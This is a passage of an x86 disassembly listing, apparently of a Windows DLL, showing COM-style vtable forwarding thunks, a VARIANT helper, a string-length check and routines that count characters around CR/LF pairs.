loc_69B51D9C:				; CODE XREF: sub_69B51D82+16j
		mov	[eax+0Ch], ecx
		retn	8
sub_69B51D82	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51DA2	proc near		; CODE XREF: sub_69B59D7B+16p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	1
		push	[esp+4+arg_0]
		call	sub_69B51C1C
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jz	short loc_69B51DBA
		mov	ecx, [ecx+18h]
		jmp	short loc_69B51DBC
; ---------------------------------------------------------------------------


loc_69B51DBA:				; CODE XREF: sub_69B51DA2+11j
		xor	ecx, ecx


loc_69B51DBC:				; CODE XREF: sub_69B51DA2+16j
		and	byte ptr [eax+2], 0BFh
		mov	[eax+10h], ecx
		retn	8
sub_69B51DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B51DC6	proc near		; CODE XREF: sub_69B59DC5+29p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	1
		push	[ebp+arg_0]
		mov	edi, ecx
		call	sub_69B51C1C
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_69B51DF6
		cmp	dword ptr [eax+8], 0
		jle	short loc_69B51DF6
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, edi
		call	sub_69B51AD9
		mov	eax, [eax]
		jmp	short loc_69B51DF8
; ---------------------------------------------------------------------------


loc_69B51DF6:				; CODE XREF: sub_69B51DC6+18j
					; sub_69B51DC6+1Ej
		xor	eax, eax


loc_69B51DF8:				; CODE XREF: sub_69B51DC6+2Ej
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		pop	edi
		mov	[esi+10h], eax
		shl	ecx, 16h
		xor	ecx, [esi]
		and	ecx, 400000h
		xor	[esi], ecx
		pop	esi
		pop	ebp
		retn	8
sub_69B51DC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51E15	proc near		; CODE XREF: sub_69B532BD+46p
		mov	dword ptr [ecx], offset	off_69B28990
		mov	dword ptr [ecx+4], offset off_69B288D8
		mov	dword ptr [ecx+8], offset off_69B28820
		mov	dword ptr [ecx+0Ch], offset off_69B28750
		mov	dword ptr [ecx+10h], offset off_69B28680
		mov	dword ptr [ecx+14h], offset off_69B285D0
		mov	dword ptr [ecx+18h], offset off_69B28518
		mov	dword ptr [ecx+1Ch], offset off_69B28460
		mov	dword ptr [ecx+20h], offset off_69B283B0
		mov	dword ptr [ecx+24h], offset off_69B282F8
		retn
sub_69B51E15	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51E5B	proc near		; CODE XREF: .text:69B523A5j
					; .text:69B52535j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		retn	0Ch
sub_69B51E5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51E72	proc near		; CODE XREF: .text:69B523AFj
					; .text:69B5253Fj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		retn	8
sub_69B51E72	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51E86	proc near		; CODE XREF: .text:69B523B9j
					; .text:69B52549j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_8]
		mov	eax, [eax+2Ch]
		push	[esp+8+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		retn	10h
sub_69B51E86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B51EA2	proc near		; CODE XREF: .text:69B523C3j
					; .text:69B52553j ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_14]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_10]
		mov	eax, [eax+2Ch]
		push	[ebp+arg_C]
		mov	ecx, [eax]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+14h]
		pop	ebp
		retn	18h
sub_69B51EA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B51EC4	proc near		; CODE XREF: .text:69B523CDj
					; .text:69B5255Dj ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_20]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_1C]
		mov	eax, [eax+2Ch]
		push	[ebp+arg_18]
		mov	ecx, [eax]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+18h]
		pop	ebp
		retn	24h
sub_69B51EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51EEF	proc near		; CODE XREF: .text:69B523F5j
					; .text:69B52585j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+28h]
		retn	8
sub_69B51EEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51F03	proc near		; CODE XREF: .text:69B523E1j
					; .text:69B52571j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+20h]
		retn	8
sub_69B51F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51F17	proc near		; CODE XREF: .text:69B523EBj
					; .text:69B5257Bj ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		mov	ecx, [eax]
		push	esi
		push	edi
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [esp+18h+arg_4]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+24h]
		pop	edi
		pop	esi
		retn	14h
sub_69B51F17	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51F38	proc near		; CODE XREF: .text:69B523FFj
					; .text:69B5258Fj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+2Ch]
		retn	8
sub_69B51F38	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51F4C	proc near		; CODE XREF: .text:69B52409j
					; .text:69B52599j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		retn	8
sub_69B51F4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51F60	proc near		; CODE XREF: .text:69B52413j
					; .text:69B525A3j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+34h]
		retn	8
sub_69B51F60	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51F74	proc near		; CODE XREF: .text:69B5241Dj
					; .text:69B525ADj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+38h]
		retn	8
sub_69B51F74	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51F88	proc near		; CODE XREF: .text:69B52427j
					; .text:69B525B7j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+3Ch]
		retn	8
sub_69B51F88	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51F9C	proc near		; CODE XREF: .text:69B52431j
					; .text:69B525C1j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+40h]
		retn	8
sub_69B51F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51FB0	proc near		; CODE XREF: .text:69B52445j
					; .text:69B525D5j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	esi
		push	edi
		push	[esp+8+arg_18]
		mov	ecx, [eax]
		sub	esp, 10h
		mov	edi, esp
		push	[esp+1Ch+arg_4]
		lea	esi, [esp+20h+arg_8]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+48h]
		pop	edi
		pop	esi
		retn	1Ch
sub_69B51FB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51FD9	proc near		; CODE XREF: .text:69B5244Fj
					; .text:69B525DFj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_8]
		mov	eax, [eax+2Ch]
		push	[esp+8+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4Ch]
		retn	10h
sub_69B51FD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51FF5	proc near		; CODE XREF: .text:69B52459j
					; .text:69B525E9j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+50h]
		retn	0Ch
sub_69B51FF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5200D	proc near		; CODE XREF: .text:69B52463j
					; .text:69B525F3j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+54h]
		retn	0Ch
sub_69B5200D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52025	proc near		; CODE XREF: .text:69B5243Bj
					; .text:69B525CBj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+44h]
		retn	8
sub_69B52025	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52039	proc near		; CODE XREF: .text:69B5246Dj
					; .text:69B525FDj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+58h]
		retn	8
sub_69B52039	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5204D	proc near		; CODE XREF: .text:69B52477j
					; .text:69B52607j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+60h]
		retn	0Ch
sub_69B5204D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52065	proc near		; CODE XREF: .text:69B52481j
					; .text:69B52611j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+64h]
		retn	8
sub_69B52065	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52079	proc near		; CODE XREF: .text:69B5248Bj
					; .text:69B5261Bj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+68h]
		retn	8
sub_69B52079	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5208D	proc near		; CODE XREF: .text:69B52495j
					; .text:69B52625j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+6Ch]
		retn	8
sub_69B5208D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B520A1	proc near		; CODE XREF: .text:69B524A9j
					; .text:69B52639j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+74h]
		retn	8
sub_69B520A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B520B5	proc near		; CODE XREF: .text:69B524B3j
					; .text:69B52643j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+78h]
		retn	8
sub_69B520B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B520C9	proc near		; CODE XREF: .text:69B524BDj
					; .text:69B5264Dj ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		mov	ecx, [eax]
		push	esi
		push	edi
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [esp+18h+arg_4]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+7Ch]
		pop	edi
		pop	esi
		retn	14h
sub_69B520C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B520EA	proc near		; CODE XREF: .text:69B524C7j
					; .text:69B52657j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+80h]
		retn	8
sub_69B520EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52101	proc near		; CODE XREF: .text:69B524D1j
					; .text:69B52661j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+84h]
		retn	8
sub_69B52101	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52118	proc near		; CODE XREF: .text:69B524DBj
					; .text:69B5266Bj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+88h]
		retn	8
sub_69B52118	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5212F	proc near		; CODE XREF: .text:69B524E5j
					; .text:69B52675j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8Ch]
		retn	0Ch
sub_69B5212F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5214A	proc near		; CODE XREF: .text:69B524EFj
					; .text:69B5267Fj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+90h]
		retn	0Ch
sub_69B5214A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52165	proc near		; CODE XREF: .text:69B524F9j
					; .text:69B52689j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+94h]
		retn	0Ch
sub_69B52165	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52180	proc near		; CODE XREF: .text:69B52503j
					; .text:69B52693j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+98h]
		retn	8
sub_69B52180	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52197	proc near		; CODE XREF: .text:69B5250Dj
					; .text:69B5269Dj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+9Ch]
		retn	8
sub_69B52197	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B521AE	proc near		; CODE XREF: .text:69B52517j
					; .text:69B526A7j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0A0h]
		retn	8
sub_69B521AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B521C5	proc near		; CODE XREF: .text:69B52521j
					; .text:69B526B1j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0A4h]
		retn	8
sub_69B521C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B521DC	proc near		; CODE XREF: .text:69B5252Bj
					; .text:69B526BBj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		mov	ecx, [eax]
		push	esi
		push	edi
		sub	esp, 10h
		mov	edi, esp
		push	[esp+18h+arg_4]
		lea	esi, [esp+1Ch+arg_8]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+0A8h]
		pop	edi
		pop	esi
		retn	18h
sub_69B521DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52204	proc near		; CODE XREF: .text:69B523D7j
					; .text:69B52567j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		retn	8
sub_69B52204	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52218	proc near		; DATA XREF: .text:69B28A58o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		push	dword ptr [eax+2Ch]
		call	sub_69B43024
		retn	0Ch
sub_69B52218	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5222F	proc near		; CODE XREF: .text:69B5249Fj
					; .text:69B5262Fj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+70h]
		retn	8
sub_69B5222F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52243	proc near		; DATA XREF: .text:69B28988o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+28h]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+20h]
		retn	8
sub_69B52243	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52257	proc near		; DATA XREF: .text:69B2898Co

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+28h]
		mov	ecx, [eax]
		push	esi
		push	edi
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [esp+18h+arg_4]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+24h]
		pop	edi
		pop	esi
		retn	14h
sub_69B52257	endp

; ---------------------------------------------------------------------------


loc_69B52278:				; DATA XREF: .text:69B288CCo
		mov	eax, [esp+4]
		mov	eax, [eax+24h]
		push	dword ptr [esp+8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5228C	proc near		; CODE XREF: .text:69B52855j
					; .text:69B529F9j
					; DATA XREF: ...

pvarg		= VARIANTARG ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_69B522A1
		mov	eax, 80070057h
		jmp	short loc_69B522C8
; ---------------------------------------------------------------------------


loc_69B522A1:				; CODE XREF: sub_69B5228C+Cj
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+24h]
		mov	ecx, [eax]
		lea	edx, [ebp+pvarg]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		mov	ecx, eax
		neg	ecx
		sbb	ecx, ecx
		not	ecx
		and	ecx, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	[esi], ecx


loc_69B522C8:				; CODE XREF: sub_69B5228C+13j
		pop	esi
		leave
		retn	8
sub_69B5228C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B522CD	proc near		; CODE XREF: .text:69B5285Fj
					; .text:69B52A03j
					; DATA XREF: ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+24h]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+6Ch]
		retn	8
sub_69B522CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B522E1(int, int, LPCWSTR lpString)

sub_69B522E1	proc near		; CODE XREF: .text:69B52A0Dj
					; DATA XREF: .text:69B28810o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
lpString	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+lpString],	0
		jz	short loc_69B5230D
		push	[ebp+lpString]	; lpString
		call	ds:lstrlenW	; lstrlenW
		test	eax, eax
		jz	short loc_69B5230D
		push	[ebp+lpString]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	0
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+0C8h]
		jmp	short loc_69B5230F
; ---------------------------------------------------------------------------


loc_69B5230D:				; CODE XREF: sub_69B522E1+7j
					; sub_69B522E1+14j
		xor	eax, eax


loc_69B5230F:				; CODE XREF: sub_69B522E1+2Aj
		pop	ebp
		retn	0Ch
sub_69B522E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52313	proc near		; CODE XREF: .text:69B52A17j
					; DATA XREF: .text:69B28814o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [eax]
		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	eax
		call	dword ptr [ecx+0C8h]
		retn	0Ch
sub_69B52313	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5232D	proc near		; CODE XREF: .text:69B531F1j
					; DATA XREF: .text:69B28984o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+28h]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		retn	8
sub_69B5232D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B52341	proc near		; CODE XREF: sub_69B53ECC+101p
					; sub_69B53ECC+11Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		xor	eax, eax
		dec	[ebp+arg_8]
		cmp	[ebp+arg_4], edx
		jle	short loc_69B5236E
		mov	ecx, [ebp+arg_0]


loc_69B52353:				; CODE XREF: sub_69B52341+2Bj
		cmp	word ptr [ecx],	0Dh
		jnz	short loc_69B52365
		cmp	eax, [ebp+arg_8]
		jz	short loc_69B52365
		cmp	word ptr [ecx+2], 0Ah
		jz	short loc_69B52366


loc_69B52365:				; CODE XREF: sub_69B52341+16j
					; sub_69B52341+1Bj
		inc	edx


loc_69B52366:				; CODE XREF: sub_69B52341+22j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	edx, [ebp+arg_4]
		jl	short loc_69B52353


loc_69B5236E:				; CODE XREF: sub_69B52341+Dj
		pop	ebp
		retn	0Ch
sub_69B52341	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B52372	proc near		; CODE XREF: sub_69B53ECC+A0p
					; .text:69B541BCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		xor	eax, eax
		xor	edx, edx
		cmp	[esp+arg_4], eax
		jle	short locret_69B5239D
		mov	ecx, [esp+arg_0]


loc_69B52380:				; CODE XREF: sub_69B52372+29j
		inc	edx
		cmp	word ptr [ecx],	0Dh
		jnz	short loc_69B52394
		cmp	edx, [esp+arg_8]
		jz	short loc_69B52394
		cmp	word ptr [ecx+2], 0Ah
		jz	short loc_69B52395


loc_69B52394:				; CODE XREF: sub_69B52372+13j
					; sub_69B52372+19j
		inc	eax


loc_69B52395:				; CODE XREF: sub_69B52372+20j
		inc	ecx
		inc	ecx
		cmp	edx, [esp+arg_4]
		jl	short loc_69B52380

locret_69B5239D:			; CODE XREF: sub_69B52372+8j
		retn	0Ch
sub_69B52372	endp

; ---------------------------------------------------------------------------


loc_69B523A0:				; DATA XREF: .text:off_69B288D8o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B51E5B
; ---------------------------------------------------------------------------


loc_69B523AA:				; DATA XREF: .text:69B288E4o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B51E72
; ---------------------------------------------------------------------------


loc_69B523B4:				; DATA XREF: .text:69B288E8o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B51E86
; ---------------------------------------------------------------------------


loc_69B523BE:				; DATA XREF: .text:69B288ECo
		sub	dword ptr [esp+4], 4
		jmp	sub_69B51EA2
; ---------------------------------------------------------------------------


loc_69B523C8:				; DATA XREF: .text:69B288F0o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B51EC4
; ---------------------------------------------------------------------------


loc_69B523D2:				; DATA XREF: .text:69B288F4o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B52204
; ---------------------------------------------------------------------------


loc_69B523DC:				; DATA XREF: .text:69B288F8o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B51F03
; ---------------------------------------------------------------------------


loc_69B523E6:				; DATA XREF: .text:69B288FCo
		sub	dword ptr [esp+4], 4
		jmp	sub_69B51F17
; ---------------------------------------------------------------------------


loc_69B523F0:				; DATA XREF: .text:69B28900o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B51EEF
; ---------------------------------------------------------------------------


loc_69B523FA:				; DATA XREF: .text:69B28904o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B51F38
; ---------------------------------------------------------------------------


loc_69B52404:				; DATA XREF: .text:69B28908o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B51F4C
; ---------------------------------------------------------------------------


loc_69B5240E:				; DATA XREF: .text:69B2890Co
		sub	dword ptr [esp+4], 4
		jmp	sub_69B51F60
; ---------------------------------------------------------------------------


loc_69B52418:				; DATA XREF: .text:69B28910o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B51F74
; ---------------------------------------------------------------------------


loc_69B52422:				; DATA XREF: .text:69B28914o
